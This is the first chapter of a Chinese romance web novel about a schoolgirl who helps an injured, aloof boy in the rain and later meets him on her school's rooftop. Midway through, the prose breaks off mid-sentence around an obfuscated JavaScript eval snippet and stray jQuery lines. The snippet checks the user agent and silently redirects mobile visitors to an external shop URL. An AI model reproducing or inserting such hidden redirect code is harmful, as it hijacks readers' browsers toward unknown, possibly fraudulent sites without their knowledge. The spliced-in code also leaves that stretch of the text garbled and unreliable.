《未见春》
夏晚栀/文
晋江文学城首发
2026.5.5
「你是我不请自来的光，也是我留不住的春天。」
-
八月末，暑气还恋恋不舍地扒在皮肤上。雨下了半天，整座城市浸在濛濛的水汽里，轮廓晕染开来，什么都看不太真切。
徐知暖配完药，走出门诊大楼。
风拂过胸前，发丝被带起，轻轻落在白皙的颊边。淡黄连衣裙在脚踝处微漾，像一茎将倾未倾的多头玫瑰。她抽出伞，撑开，踏进积水里。
市二院附近的路段最近在修。
路面被挖得坑坑洼洼，公交车也改了道，她得比平时多走一站才能坐上车。
这条巷子徐知暖常走，能抄近道。
只是雨天，巷子格外幽深，光线昏暗。她莫名想起昨晚看的那部恐怖片。
女主角也是这样走进一条巷子，然后……
“嘣！”
一声短促的闷响，突兀地刺破雨声。
徐知暖脚步倏地一滞。
那声音太快，在雨声里衬得不太清楚。
她怀疑自己是不是出现幻觉了。
可很快，里头再次传来动静——
“怎么？不服气啊？”
“不是，跟这种给脸不要脸的，废什么话。”
“就是，真当自己是谁……”
“……”
徐知暖捏着伞柄的手指紧了紧。
站在原地顿了几秒，还是贴着潮湿的墙壁，一点点走到巷口拐弯处，微微朝里探出半张脸。
巷子尽头是一家早已停业的小店，一个男生被几个人堵在死角。地上散落着被雨水泡烂的纸页，一块木板碎裂在地，木茬翻翘，棱角狰狞。
人群里，一个染着黄毛的男生揪着男生的衣领，狠狠墙上一掼：“你他妈就是个小——”
话还没说完。
被按在墙边的少年突然屈膝，一脚踹在黄毛的小腹。闷哼声里，黄毛狼狈地松开手，弓着腰往后跌。
少年脱开钳制，站在雨里。
黑色连帽衫被雨水浸透，沉沉贴紧身形。帽檐压得极低，只露出一截线条冷硬的下颌。哪怕看不清神情，周身弥漫的浓烈戾气，也衬得他一点都不落下风。
“操！愣着干嘛！上啊！”黄毛捂腹低吼。
顷刻间，几人一拥而上，脏话混着拳声砸下。
少年还手极凶，毫不留情。可终究寡不敌众，短暂僵持后，他被人从身后勒住脖颈，余下几人的拳脚毫无留情，狠狠砸向他腰腹。
徐知暖心脏像被人攥住，慌乱得突突直跳。
脑子里第一个念头就是：当没看见，赶紧跑。
可听着巷子里越发凶狠的殴打声。
她的脚像被粘在地上，怎么也迈不动。心里仿佛有两个小人在疯狂撕扯。
冲上去？
她一个女生，能干什么？
一起打架吗？
可要是不管……
万一真出事了怎么办？
……
就在她心跳如鼓时，忽然灵光一闪。
她转身快步往回跑，泥水在脚下飞溅。
暮色苍茫，医院保安岗亭的灯已然亮起。
一个穿制服的中年男人坐在里面。
她气喘吁吁地扑到窗前，急急叩窗：“叔叔——叔叔——”
窗子降下，保安探出脸：“什么事儿啊？”
“那边……那边巷子里有人在打架，”她声音发颤，语速很快，“很严重，您方便跟我去看看吗？”
保安脸色一沉，捞起桌上的对讲机快速说了几句，随即拿伞起身：“走。”
两人赶到巷口时，里头的动静越发激烈。
保安拧眉，提气大喝：“干什么？！都给我住手！”
巷内几人动作一僵。
被制在墙边的少年也闻声偏头。
视线却没落在保安身上，而是越过他，落在了跟在后面的徐知暖身上。
徐知暖避无可避地对上。
距离太远，看不太清，只觉得他就算受伤，身上却没半分可怜像，亦或是恐惧，反而浑身透着无谓，像荒野里独自舔舐伤口的孤狼，即便落魄，脊骨也不曾弯折。
“小姑娘，你靠边报警，别靠近。”保安低声快速嘱咐。徐知暖这才回过神，移开视线，愣愣“哦”了声，手指发凉地摸出手机。
保安朝着那群人走去。
他穿着制服，气场强大，几人没敢乱来，交换了眼色，不情不愿地往后退开几步。
……
警察来得很快。
保安因为要当值，简单说明情况后就先离开了。
红蓝光线旋转着，在雨天显得光怪陆离。两辆车，带走了所有人，包括徐知暖。
派出所里，光线冷白。
少年独自坐在长椅上，垂着头，双手撑在膝盖上，黑衣湿透，粘着泥渍。
而另一边。
闹事那几人坐靠墙壁。
他们旁边都有民警，没有一人说话。
徐知暖低着头，从中间走过，跟着一位女民警走进询问室。
女警在她对面坐下，看着眼前模样温顺干净、面色偏白的小姑娘，语气不自觉放柔：“小姑娘，别紧张。是你报的警吗？。”
徐知暖手指在膝上绞了绞，轻声应：“……嗯。”
“能把当时看到的情况，仔细和我们讲一遍吗？”
……
做完笔录走出时，那几人均已不在。
警察让徐知暖先等待片刻。
她在走廊的长椅坐下。
隔壁房间持续传来争执和呵斥，混着雨打窗檐的脆响。
不知过了多久，一位民警走出来，肯定了她的做法，又好心拿来了抹布，让她擦干鞋面。
至于那几个打架的，他说，都还是学生，伤得不重，最终以严厉的批评教育作结。
事情算是了结。
徐知暖背起书包，走出派出所。
雨更密了，砸在伞面上噼里啪啦。
没走几步，头顶忽地一凉，一缕湿意渗进发间。
很快，又是一滴。
她怔了怔，停步仰脸。
黑色的伞面上破了一个洞，漏出外面的天色。雨水正顺着缺口，一滴接一滴往下掉。
这伞是上学期贪便宜买的，老板说耐用，结果三个月就破了。她一直没换，总觉得还能凑合。
现在，是真的凑合不下去了。
她无奈叹气，目光逡巡。
还好，旁边就有家便利店。
运气不算太坏。
货架最边上，孤零零挂着最后一把伞。
明黄色，撒着白色碎花。
徐知暖瞥了眼标价，抿唇取下。
结完账，她走到门口，撑开新伞，零落的话音顺着风飘来。
她抬眼望去。
派出所门口，先前滋事的那几人正勾肩搭背走下楼梯。
唯独那个少年还在。
他独自站在檐下，仰脸望着灰濛的天。
徐知暖以为他在等雨停。
谁料，下一秒。
他毫无征兆地走进雨里。
风裹着雨再度将他浇透，水痕顺着他手臂未干的血迹往下滑。
徐知暖在原地愣了几秒，脚却先于意识追上。
“哎——你等等！”
雨声嘈切，她不得不提高声音。
那道身影闻声停下，转过身。
湿透的黑发贴在额前，几乎遮住眼睛。冷沉的目光从发隙间投来。
“有事？”他声音冷淡。
徐知暖将手里的伞往前递了递：“这个给你。”
他目光垂下，掠过细白的手指，移回她脸上，唇角轻扯，牵动伤口，凉薄讥诮：“可怜我？”
徐知暖正要开口，口袋里的手机突然响铃。
她不得不缩回手去拿手机。
是爷爷打来的。
少年看了她两秒，漠然移开视线，转身：“不需要。”
拒绝干脆疏离。
半点不领她的好意。
手机铃声还在响动。
徐知暖掀眼，望着他孤峭落寞的背影，几步上前，再次拦在他身前。
少年眸色微滞，身形被迫停顿。
趁他失神的瞬息，徐知暖抬起他垂落在身侧的手腕，不由分说地，将雨伞塞进他潮湿薄热的掌心。
“我也不需要。”
话随雨落，她不再停留，撑开手里的另一把伞，接起电话转身，汇入茫茫雨雾。
单薄的背影转眼被水汽吞没。
只剩少年伫立原地。
他凝着那片雨色，手指缓缓收拢。
冰凉的伞柄渐渐染上体温，伞面在风里轻晃，积蓄的雨水沿边缘滑落，不轻不重，砸在他薄红的手臂上。
像冰粒擦过，微微一麻，留下一道清晰绵长的痕迹。
-
雨声里，爷爷的声音透过听筒，带着沙沙的杂音：“暖暖，药配好了吗？”
徐知暖跑动的脚步渐渐慢下。
移开手机，看了眼屏幕，17:38。一场意外，让她全然忘了时间。
“……嗯，刚配好。”
“那就好。雨这么大，别等公交了，直接打车回来，知道吗？”
“没事儿，这附近有公交。”
“那儿不是在修路嘛！听爷爷的，打车，啊？”
徐知暖拗不过，应了声“好”。老人又细细叮嘱几句，才挂了电话。
……
到家时，雨已收作零星水沫，在昏黄的路灯光里浮沉。
徐知暖收伞，打开家门。
“回来啦？”听见响动，坐在沙发上的老人侧过脸，眼尾叠起细褶。他扶着膝盖，有些吃力地站起身，走近几步，借着门厅的光，一眼瞧见了徐知暖黏在小腿边，半湿的裙摆，眉头蹙起，“怎么湿成这样！”
不等她解释，又摇头叹气：“是不是又去挤公交了？不是让你打车吗？淋病了可怎么好？”
徐知暖弯起眼，轻松道：“真是打车的。雨太大了，从巷口走回来这几步，没留神溅上的。”她迎着爷爷将信将疑的目光，走过去搀住他的胳膊，岔开话题，“好啦，爷爷，我下次一定小心。来，我先给您贴药。”
她扶老人坐回沙发，将他一条腿轻轻托起，搁在自己膝上。裤管一圈圈卷上去，露出干瘦的膝盖。那处皮肤红肿发亮，皮肤绷得紧薄，像吹胀到极致的气球壁。
这是爷爷的老毛病，风湿入骨，每到换季或雨天就疼得钻心，离不了药膏和热敷。
她垂着眼，手上动作很轻。
耳边无端浮起下午医生的话，淡淡的，却沉：
“暖暖，你爷爷这腿，要根治……是不太可能了。只能靠敷药、针灸，尽量维持着，不让它恶化。不过我还是建议，治疗频率能高些，一周一次，间隔还是长了点。”
“那大概多少钱一次？”
“一次针灸，加上敷料，三百出头。有医保能报一部分，但自己也得承担不少。”
……
话语缠在心头，微微发涩。
徐知暖咬着下唇内侧，将那些情绪静静压回去，仔细把药膏抚平：“医生说了，只要您按时敷药、针灸，慢慢会好的。到时候我带您去玩。”
“好，爷爷都听暖暖的。”老人笑着拍拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546000|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的手，几秒后，笑意逐渐褪去，被忧色取代，“对了，今天李奶奶来送橘子，说她孙子也在你们学校，天天学习到半夜。暖暖，咱们不学那样，知道吗？慢慢来，身体最要紧。”
这些话徐知暖听了无数遍，却不厌其烦，甚至还可以再听成千上百遍。
她弯唇，乖巧道：“知道啦，你放心吧。”
-
雨停了几日。
开学前一天，天彻底放晴。
星海中学高一高二同日开学，气氛却迥然不同。高二的开学仪式可以说是潦草，班主任在讲台上寥寥数语，便算走完了过场。
徐知暖是这学期才转来的一中，也是第一次感受到这样紧绷的氛围。课间，教室与走廊少见闲谈的身影，连偶然的交谈也短促，像被什么追着。
出来接水的间隙，徐知暖握着水杯，漫无目的地看向对面教学楼的天台。在以前的学校，晚自习前她常去那儿，看日落，吹晚风。
她低头看了眼手表，离晚自习还有二十多分钟。
心里微微一动。
灌完水，她朝楼梯口走去。
重点班在顶楼，再往上，便是天台。
她在原地略一停步，迈步往上。
天台门虚掩着，轻轻一推就开了。
视野豁然开阔。
这的天台和以前的学校不同。对面空旷无遮，大片天空毫无保留地铺展在眼前。夕阳正浓，像打翻的橘子酱，缓缓下沉，暖光漫过水泥地。
徐知暖走到栏杆边，想找个地方坐下，耳边忽然传来一声细弱奶气的“喵。”
她一愣，疑惑地朝四周望去。
紧接着，又是一声“喵。”
天台很静，她很快辨出声音的来源。
果不其然，几秒后。
一团小小的影子，从角落那间小屋的阴影处踱步而出。
是只橘猫。
学校里有流浪猫并不稀奇。
可这么高的天台，它怎么上来的？
徐知暖心里好奇，放轻脚步走近，蹲到它身边，试探着伸手摸了摸它的毛发，见小猫不怕，她便小心将它抱进怀里。
就在她起身的刹那。
视线随之抬起，不经意地，掠进一片更深的阴影里。
那儿坐着一个人。
她定睛看去。
少年背靠墙面，一条腿曲起，另一条随意伸着。面前支着画板，清瘦的手指捏着铅笔，垂眼看着纸面。夕光斜切，将他半边浸在暖金里，半边留在昏昧中。
从这个角度看，只能看到少年挺括的侧脸。
他微微垂头，像在参照什么。可他望的地方空空荡荡，什么也没有。
滞了一瞬，他转过脸。
视线不偏不倚，落在徐知暖身上。
徐知暖呼吸一滞，心脏重重一跳。
没有连帽衫，没有雨水。明朗的天光下，那张脸干净清隽，肤色冷白，瞳仁背着光，沉黑如墨。手臂上，前几日的伤已经淡得几乎看不见。
这副安静又带着艺术气息的模样，与雨夜里那个眼神猩红、满身戾气的少年，几乎判若两人。
但确确实实，是同一个人。
她错愕道：“你怎么在这儿？”
少年见到她，神情只短暂地一顿，没有半分波澜，仿佛只是见到了一个无关紧要的陌生人。
须臾，已漠然转回画板。
“你能在这儿，我为什么不能。”他声线清冷，像冬日山涧浸着的玉石。
“……”
徐知暖一时语塞。
说得不无道理，但语气真是……刻薄。
她轻抚着怀里的猫，视线停在了画纸上。纸上已有了建筑的轮廓，还挺逼真。而画面左下方，有一个淡淡的轮廓，看着像没画完？
意识到什么。
她动作渐缓，指着怀里的小猫，试探问：“你……在画它吗？”
少年安静了几秒，极淡地“嗯”了声，依旧没看她。侧脸线条在渐暗的天光里，冷峭又锋利。
看出他没有继续交谈的意思，徐知暖也只是安静看着。
出乎意料地。
一直专注画面的男生忽而侧过头，眼神凉薄地掠过她怀里的猫，然后，落在她脸上。
“既然知道，还不放下。”
“……”
徐知暖慢半拍地“哦”了声，讷讷弯腰，将猫放回地上。
也就在这一瞬。
西沉的夕阳擦过他胸前的校牌，金属边缘反射出一线冷冽的银光。
徐知暖看见了上面的字：
江澈。
星海中学艺术A班。
她木然起身。
本来只是想上来透透气，没想到会撞见他。更没想到，他居然也是星海的学生，还是艺术班的。
风掠过天台，掀起她鬓边的碎发。
夕阳把两个人的影子拉得很长，一明一暗，中间隔着一段不远不近的距离。
氛围静得有些僵。
徐知暖抿了抿唇，转身走到栏杆边，望向远处的霞光，不再说话。
江澈笔尖落下，继续描摹。
阳光渐落，风忽然变得有点凉，掠过腕间，他勾勒的速度无意识慢下，又想起了那个雨天。少女不管不顾把伞给他的倔强模样。
余光不受控制地往那一瞟。
她侧着身，面容浸在最后的余晖里，轮廓柔和，身影清瘦。校服被风吹起，又贴回，拢着盈细的腰身。暮光淌过她的发丝，蜜金色的发尾在风里微微扬起，浮着一层虚朦的光晕。
“啪——”
一声脆响。
铅芯猝然断在画纸上。
徐知暖闻声回头，恰好撞进少年微微怔忡的眼底。